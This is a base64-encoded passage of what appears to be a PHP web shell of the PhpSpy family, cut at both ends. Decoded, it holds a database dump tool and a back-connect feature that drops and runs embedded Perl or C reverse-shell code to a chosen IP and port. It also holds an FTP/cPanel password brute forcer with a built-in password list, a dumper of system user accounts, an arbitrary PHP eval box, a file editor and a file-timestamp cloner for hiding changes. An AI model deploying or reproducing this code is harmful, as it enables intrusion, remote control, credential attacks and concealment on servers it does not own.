ZSk7CgkJCQl1bnNldCgkdGFibGUpOwoJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOwoJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CgkJCQlwKCRkYmZvcm0pOwoJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsKCQkJCXAoJzx0ZCB3aWR0aD0iMiUiIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD4nKTsKCQkJCXAoJzx0ZD5OYW1lPC90ZD4nKTsKCQkJCXAoJzx0ZD5Sb3dzPC90ZD4nKTsKCQkJCXAoJzx0ZD5EYXRhX2xlbmd0aDwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Q3JlYXRlX3RpbWU8L3RkPicpOwoJCQkJcCgnPHRkPlVwZGF0ZV90aW1lPC90ZD4nKTsKCQkJCWlmICgkaGlnaHZlcikgewoJCQkJCXAoJzx0ZD5FbmdpbmU8L3RkPicpOwoJCQkJCXAoJzx0ZD5Db2xsYXRpb248L3RkPicpOwoJCQkJfQoJCQkJcCgnPC90cj4nKTsKCQkJCWZvcmVhY2ggKCR0YWJsZWRiIGFzICRrZXkgPT4gJHRhYmxlKSB7CgkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsKCQkJCQlwKCc8dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjIlIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InRhYmxlW10iIHZhbHVlPSInLiR0YWJsZVsnTmFtZSddLiciIC8+PC90ZD4nKTsKCQkJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnKTsiPicuJHRhYmxlWydOYW1lJ10uJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1Jvd3MnXS4nPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ0RhdGFfbGVuZ3RoJ10uJzwvdGQ+Jyk7CgkJCQkJcCgnPHRkPicuJHRhYmxlWydDcmVhdGVfdGltZSddLic8L3RkPicpOwoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnVXBkYXRlX3RpbWUnXS4nPC90ZD4nKTsKCQkJCQlpZiAoJGhpZ2h2ZXIpIHsKCQkJCQkJcCgnPHRkPicuJHRhYmxlWydFbmdpbmUnXS4nPC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHRhYmxlWydDb2xsYXRpb24nXS4nPC90ZD4nKTsKCQkJCQl9CgkJCQkJcCgnPC90cj4nKTsKCQkJCX0KCQkJCXAoJzx0ciBjbGFzcz1mb3V0PicpOwoJCQkJcCgnPHRkPiZuYnNwOzwvdGQ+Jyk7CgkJCQlwKCc8dGQ+VG90YWwgdGFibGVzOiAnLiR0YWJsZV9udW0uJzwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Jy4kdGFibGVfcm93cy4nPC90ZD4nKTsKCQkJCXAoJzx0ZD4nLiRkYXRhX3NpemUuJzwvdGQ+Jyk7CgkJCQlwKCc8dGQgY29sc3Bhbj0iJy4oJGhpZ2h2ZXIgPyA0IDogMikuJyI+Jm5ic3A7PC90ZD4nKTsKCQkJCXAoJzwvdHI+Jyk7CgoJCQkJcCgiPHRyIGNsYXNzPVwiZm91dFwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA4IDogNikuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOwoJCQkJbWFrZWhpZGUoJ2RvaW5nJywnYmFja3VwbXlzcWwnKTsKCQkJCWZvcm1mb290KCk7CgkJCQlwKCI8L3RhYmxlPiIpOwoJCQkJZnIoJHF1ZXJ5KTsKCQkJfQoJCX0KCX0KCXRiZm9vdCgpOwoJQG15c3FsX2Nsb3NlKCk7Cn0vL2VuZCBzcWwgYmFja3VwCgoKZWxzZWlmICgkYWN0aW9uID09ICdiYWNrY29ubmVjdCcpIHsKCSEkeW91cmlwICYmICR5b3VyaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsKCSR1c2VkYiA9IGFycmF5KCdwZXJsJz0+J3BlcmwnLCdjJz0+J2MnKTsKCgkkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4KCQkiYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUiIuCgkJImhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QiLgoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4KCQkia1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaSIuCgkJIktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwiLgoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsKCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZEMiLgoJCSJCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliIi4KCQkiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuCgkJIktTazdEUW9nYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc2dEUW9nWW5wbGNtOG9ZWEpuZGxzeFhTeHpkSEpzWlc0b1lYSm5kbHN4WFNrck1TdHpkSEoiLgoJCSJzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDIi4KCQkiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuCgkJIlFvZ0lDQmxlR2wwS0RBcE93MEtJSDBOQ2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJb1ptUXNJREFwT3cwS0lHUjFjRElvWm1Rc0lERXAiLgoJCSJPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7CgoJaWYgKCRzdGFydCAmJiAkeW91cmlwICYmICR5b3VycG9ydCAmJiAkdXNlKXsKCQlpZiAoJHVzZSA9PSAncGVybCcpIHsKCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOwoJCQkkcmVzID0gZXhlY3V0ZSh3aGljaCgncGVybCcpLiIgL3RtcC9hbmdlbF9iYyAkeW91cmlwICR5b3VycG9ydCAmIik7CgkJfSBlbHNlIHsKCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsKCQkJJHJlcyA9IGV4ZWN1dGUoJ2djYyAtbyAvdG1wL2FuZ2VsX2JjIC90bXAvYW5nZWxfYmMuYycpOwoJCQlAdW5saW5rKCcvdG1wL2FuZ2VsX2JjLmMnKTsKCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOwoJCX0KCQltKCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICR5b3VyaXAgcG9ydCAkeW91cnBvcnQgLi4uIik7Cgl9CgoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JhY2sgQ29ubmVjdCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29ubmVjdCcpOwoJcCgnPHA+Jyk7CglwKCdZb3VyIElQOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7CglwKCdZb3VyIFBvcnQ6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cnBvcnQnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JHlvdXJwb3J0KSk7CglwKCdVc2U6Jyk7CgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3VzZScsJ29wdGlvbic9PiR1c2VkYiwnc2VsZWN0ZWQnPT4kdXNlKSk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3RhcnQnLCd2YWx1ZSc9PidTdGFydCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwp9Ly9lbmQgYmFja2Nvbm5lY3Qgd2luZG93IHZpYSBOQwoKLy8gQnJ1dGUKZWxzZWlmICgkYWN0aW9uID09ICdicnV0ZScpIHsKZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JydXRlIEZvcmNlcicpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdicnV0ZScpOwoJbWFrZWhpZGUoJ2RpcicsJGJydXRlKTsKQGluaV9zZXQoJ21lbW9yeV9saW1pdCcsIDEwMDAwMDAwMDAwMDApOwokY29ubmVjdF90aW1lb3V0PTU7CkBzZXRfdGltZV9saW1pdCgwKTsKJHN1Ym1pdCA9ICRfUkVRVUVTVFsnc3VibWl0J107CiR1c2VycyA9ICRfUkVRVUVTVFsndXNlcnMnXTsKJHBhc3MgPSAkX1JFUVVFU1RbJ3Bhc3N3b3JkcyddOwokdGFyZ2V0ID0gJF9SRVFVRVNUWyd0YXJnZXQnXTsKJG9wdGlvbiA9ICRfUkVRVUVTVFsnb3B0aW9uJ107CgoKJHBhc3NsaXN0ID0gIjAxMjM0NTYKMDEyMzQ1NjcKMDEyMzQ1Njc4CjAxMjM0NTY3ODkKMDEyMzQ1Njc4OTAKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEyMzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwo0NTY0NTYKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4KYWRtaW5pc3RyYXRvcgphZG1pbmNwCmNwYW5lbAphZG1pbngKYWRtaW5zCnBhc3N3b3JkCnBhc3N3b3JkcwpwYXNzdzByZApwQHNzdzByZApwQHNzd29yZApraG9uZ2NvCjI1MjUxMzI1CnBhc3N3MHJkcyI7CmlmKCR0YXJnZXQgPT0gJycpewokdGFyZ2V0ID0gJ2xvY2FsaG9zdCc7Cn0KcHJpbnQgIiA8ZGl2IGFsaWduPSdjZW50ZXInPgo8Zm9ybSBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdib3JkZXI6IDFweCBzb2xpZCAjMDAwMDAwJz48YnI+PGJyPgo8VEFCTEUgc3R5bGU9J0JPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UnIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM5NjYxMTcgY2VsbFBhZGRpbmc9NSB3aWR0aD0nNDAlJyBiZ0NvbG9yPSMzMDMwMzAgYm9yZGVyQ29sb3JMaWdodD0jOTY2MTE3IGJvcmRlcj0xPjx0cj48dGQ+CjxiPiBUYXJnZXQgIDogPC9mb250PjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0gJHRhcmdldCBzdHlsZT0nYm9yZGVyOiBmb250LWZhbWlseTp0YWhvbWE7IGZvbnQtd2VpZ2h0OmJvbGQ7Jz48L3A+PC9mb250PjwvYj48L3A+CjxkaXYgYWxpZ249J2NlbnRlcic+PGJyPgo8VEFCTEUgc3R5bGU9J0JPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UnIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM5NjYxMTcgY2VsbFBhZGRpbmc9NSB3aWR0aD0nNTAlJyBiZ0NvbG9yPSMzMDMwMzAgYm9yZGVyQ29sb3JMaWdodD0jOTY2MTE3IGJvcmRlcj0xPgo8dHI+Cjx0ZCBhbGlnbj0nY2VudGVyJz4KPGI+VXNlcm5hbWU8L2I+PC90ZD4KPHRkPgo8cCBhbGlnbj0nY2VudGVyJz4KPGI+UGFzc3dvcmQ8L2I+PC90ZD4KPC90cj4KPC90YWJsZT4KPHAgYWxpZ249J2NlbnRlcic+Cjx0ZXh0YXJlYSByb3dzPScyMCcgbmFtZT0ndXNlcnMnIGNvbHM9JzI1JyBzdHlsZT0nYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+IjsKJGkgPSAwOwp3aGlsZSAoJGkgPCA2MDAwMCkgewoKICAgICRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOwogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsKCiAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YmFfZXRjcHdkKSA9IGVhY2goJGxpbmUpKXsKICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgfQoKICAgJGkrKzsKfQplY2hvICIKPC90ZXh0YXJlYT4KPHRleHRhcmVhIHJvd3M9JzIwJyBuYW1lPSdwYXNzd29yZHMnIGNvbHM9JzI1JyBzdHlsZT0nYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+JHBhc3NsaXN0PC90ZXh0YXJlYT48YnI+Cjxicj4KPGI+T3B0aW9ucyA6IDwvc3Bhbj48aW5wdXQgbmFtZT0nb3B0aW9uJyB2YWx1ZT0nY3BhbmVsJyBzdHlsZT0nZm9udC13ZWlnaHQ6IDcwMDsnIGNoZWNrZWQgdHlwZT0ncmFkaW8nPiBjUGFuZWwKPGlucHV0IG5hbWU9J29wdGlvbicgdmFsdWU9J2Z0cCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyB0eXBlPSdyYWRpbyc+IGZ0cCA9PT4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0F0dGFjaycgbmFtZT0nc3VibWl0JyA+PC9wPgo8L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPjxwIGFsaWduPSAnbGVmdCc+IjsKPz4KPD9waHAKZnVuY3Rpb24gZnRwX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KXsKJGNoID0gY3VybF9pbml0KCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJmdHA6Ly8kaG9zdCIpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZUUExJU1RPTkxZLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOwpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7CiRkYXRhID0gY3VybF9leGVjKCRjaCk7CmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkgewoKcHJpbnQgIjxiPiBFcnJvciA6IENvbm5lY3Rpb24gdGltZWQgb3V0ICwgbWFrZSBjb25maWRlbmNlIGFib3V0IHZhbGlkYXRpb24gb2YgdGFyZ2V0ICE8L2I+IjsKZXhpdDt9CgplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApewoKcCgiPGI+WyBhdHRhY2tAdmJhdGVhbS5uZXQgXSMgPC9iPgo8Yj4gQXR0YWNraW5nIGhhcyBiZWVuIGRvbmUhIFVzZXJuYW1lOiA8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICR1c2VyIDwvZm9udD4gLyBQYXNzd29yZDo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICRwYXNzIDwvZm9udD4gPT4gPGEgaHJlZj1odHRwOi8vJHVzZXI6JHBhc3NAJGhvc3Q6MjA4MiB0YXJnZXQ9X2JsYW5rPkxvZ2luPC9hPjwvYj48YnI+Iik7Cn0KY3VybF9jbG9zZSgkY2gpO30KCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7CiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cDovLyRob3N0OjIwODIiKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsKY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwokZGF0YSA9IGN1cmxfZXhlYygkY2gpOwppZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsKcHJpbnQgIjxiPiBFcnJvciA6IENvbm5lY3Rpb24gdGltZWQgb3V0ICwgbWFrZSBjb25maWRlbmNlIGFib3V0IHZhbGlkYXRpb24gb2YgdGFyZ2V0ICE8L2I+IjsKZXhpdDt9CmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAwICl7CgpwKCI8Yj5bIGF0dGFja0B2YmF0ZWFtLm5ldCBdIyA8L2I+PGI+QXR0YWNraW5nIGhhcyBiZWVuIGRvbmUhPC9hPiBVc2VybmFtZTogPGZvbnQgY29sb3I9JyNGRjAwMDAnPiAkdXNlciA8L2ZvbnQ+IC8gUGFzc3dvcmQ6PGZvbnQgY29sb3I9JyNGRjAwMDAnPiAkcGFzcyA8L2ZvbnQ+PC9iPjxicj4iKTt9Y3VybF9jbG9zZSgkY2gpO30KCmlmKGlzc2V0KCRzdWJtaXQpICYmICFlbXB0eSgkc3VibWl0KSl7CgokdXNlcmxpc3QgPSBleHBsb2RlICgiXG4iICwgJHVzZXJzICk7CiRwYXNzbGlzdCA9IGV4cGxvZGUgKCJcbiIgLCAkcGFzcyApOwpwKCc8Yj5bIGF0dGFja0B2YmF0ZWFtLm5ldCBdIyBBdHRhY2tpbmcgLi4uPC9mb250PjwvYj48YnI+Jyk7CmZvcmVhY2ggKCR1c2VybGlzdCBhcyAkdXNlcikgewokX3VzZXIgPSB0cmltKCR1c2VyKTsKZm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHsKJF9wYXNzID0gdHJpbSgkcGFzc3dvcmQpOwppZigkb3B0aW9uID09ICJmdHAiKXsKZnRwX2NoZWNrKCR0YXJnZXQsJF91c2VyLCRfcGFzcywkY29ubmVjdF90aW1lb3V0KTsKfQppZiAoJG9wdGlvbiA9PSAiY3BhbmVsIikKewpjcGFuZWxfY2hlY2soJHRhcmdldCwkX3VzZXIsJF9wYXNzLCRjb25uZWN0X3RpbWVvdXQpOwp9Cn0KfQp9CgoJZm9ybWZvb3QoKTsKfQoKCgoKCgplbHNlaWYgKCRhY3Rpb24gPT0gJ2V0Y3B3ZCcpIHsKZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0dldCAvZXRjL3Bhc3N3ZCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdldGNwd2QnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKJGkgPSAwOwogZWNobyAiPHA+PGJyPjx0ZXh0YXJlYSBjbGFzcz1cImFyZWFcIiBpZD1cInBocGNvZGV4eHhcIiBuYW1lPVwicGhwY29kZXh4eFwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMjVcIj4iOwp3aGlsZSAoJGkgPCA2MDAwMCkgewoKICAgICRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOwogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsKCiAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YmFfZXRjcHdkKSA9IGVhY2goJGxpbmUpKXsKICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgfQoKICAgJGkrKzsKfQogIGVjaG8gIjwvdGV4dGFyZWE+PC9wPiI7Cglmb3JtZm9vdCgpOwp9CgplbHNlaWYgKCRhY3Rpb24gPT0gJ2V2YWwnKSB7CgkkcGhwY29kZSA9IHRyaW0oJHBocGNvZGUpOwoJaWYoJHBocGNvZGUpewoJCWlmICghcHJlZ19tYXRjaCgnIzxcPyNzaScsICRwaHBjb2RlKSkgewoJCQkkcGhwY29kZSA9ICI8P3BocFxuXG57JHBocGNvZGV9XG5cbj8+IjsKCQl9CgkJZXZhbCgiPyIuIj4kcGhwY29kZTw/Iik7Cgl9Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXZhbCBQSFAgQ29kZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7CgltYWtldGV4dChhcnJheSgndGl0bGUnPT4nUEhQIENvZGUnLCduYW1lJz0+J3BocGNvZGUnLCAndmFsdWUnPT4kcGhwY29kZSkpOwoJcCgnPHA+PGEgaHJlZj0iaHR0cDovL3d3dy40bmdlbC5uZXQvcGhwc3B5L3BsdWdpbi8iIHRhcmdldD0iX2JsYW5rIj5HZXQgcGx1Z2luczwvYT48L3A+Jyk7Cglmb3JtZm9vdGVyKCk7Cn0vL2VuZCBldmFsCgplbHNlaWYgKCRhY3Rpb24gPT0gJ2VkaXRmaWxlJykgewoJaWYoZmlsZV9leGlzdHMoJG9wZmlsZSkpIHsKCQkkZnA9QGZvcGVuKCRvcGZpbGUsJ3InKTsKCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJG9wZmlsZSkpOwoJCUBmY2xvc2UoJGZwKTsKCQkkY29udGVudHM9aHRtbHNwZWNpYWxjaGFycygkY29udGVudHMpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0NyZWF0ZSAvIEVkaXQgRmlsZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgRmlsZSAoaW1wb3J0IG5ldyBmaWxlIG5hbWUgYW5kIG5ldyBmaWxlKScsJ25hbWUnPT4nZWRpdGZpbGVuYW1lJywndmFsdWUnPT4kb3BmaWxlLCduZXdsaW5lJz0+MSkpOwoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J0ZpbGUgQ29udGVudCcsJ25hbWUnPT4nZmlsZWNvbnRlbnQnLCd2YWx1ZSc9PiRjb250ZW50cykpOwoJZm9ybWZvb3RlcigpOwp9Ly9lbmQgZWRpdGZpbGUKCmVsc2VpZiAoJGFjdGlvbiA9PSAnbmV3dGltZScpIHsKCSRvcGZpbGVtdGltZSA9IEBmaWxlbXRpbWUoJG9wZmlsZSk7CgkvLyR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsKCSRjYWNoZW1vbnRoID0gYXJyYXkoJ0phbnVhcnknPT4xLCdGZWJydWFyeSc9PjIsJ01hcmNoJz0+MywnQXByaWwnPT40LCdNYXknPT41LCdKdW5lJz0+NiwnSnVseSc9PjcsJ0F1Z3VzdCc9PjgsJ1NlcHRlbWJlcic9PjksJ09jdG9iZXInPT4xMCwnTm92ZW1iZXInPT4xMSwnRGVjZW1iZXInPT4xMik7Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQ2xvbmUgZmlsZSB3YXMgbGFzdCBtb2RpZmllZCB0aW1lJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQWx0ZXIgZmlsZScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUmVmZXJlbmNlIGZpbGUg